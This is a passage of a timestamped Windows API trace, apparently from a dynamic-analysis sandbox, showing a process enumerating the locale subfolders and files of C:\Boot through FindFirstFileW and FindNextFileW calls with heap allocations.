ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0073.740] GetProcessHeap () returned 0x470000 [0073.740] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.740] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\it-IT\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.741] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.741] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.741] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.741] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.741] GetProcessHeap () returned 0x470000 [0073.741] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.741] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0073.741] GetProcessHeap () returned 0x470000 [0073.741] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.742] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ja-JP\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.742] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.742] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.742] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.742] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.744] GetProcessHeap () returned 0x470000 [0073.744] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.744] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0073.745] GetProcessHeap () returned 0x470000 [0073.745] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.745] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ko-KR\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.746] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.746] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.746] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.746] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.746] GetProcessHeap () returned 0x470000 [0073.746] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.746] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0073.746] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0073.746] GetProcessHeap () returned 0x470000 [0073.746] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nb-NO\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.747] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.747] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.747] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.747] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.747] GetProcessHeap () returned 0x470000 [0073.747] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.747] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0073.747] GetProcessHeap () returned 0x470000 [0073.747] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.747] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\nl-NL\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.748] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.748] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.749] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.749] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.749] GetProcessHeap () returned 0x470000 [0073.749] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.749] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0073.749] GetProcessHeap () returned 0x470000 [0073.749] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4930f0 [0073.749] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0073.749] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0073.749] FindNextFileW (in: hFindFile=0x4930f0, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0073.750] FindClose (in: hFindFile=0x4930f0 | out: hFindFile=0x4930f0) returned 1 [0073.750] GetProcessHeap () returned 0x470000 [0073.750] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0073.750] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0073.750] GetProcessHeap () returned 0x470000 [0073.750] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0073.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4937c8 [0076.163] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.163] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.163] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.164] FindClose (in: hFindFile=0x4937c8 | out: hFindFile=0x4937c8) returned 1 [0076.164] GetProcessHeap () returned 0x470000 [0076.164] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0076.164] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: lpFindFileData=0x2aef458*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0076.164] GetProcessHeap () returned 0x470000 [0076.164] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x4f6b88 [0076.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4937c8 [0076.165] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.165] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0076.165] FindNextFileW (in: hFindFile=0x4937c8, lpFindFileData=0x2aef1d0 | out: lpFindFileData=0x2aef1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0076.165] FindClose (in: hFindFile=0x4937c8 | out: hFindFile=0x4937c8) returned 1 [0076.165] GetProcessHeap () returned 0x470000 [0076.165] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x4f6b88 | out: hHeap=0x470000) returned 1 [0076.165] FindNextFileW (in: hFindFile=0x492fd0, lpFindFileData=0x2aef458 | out: 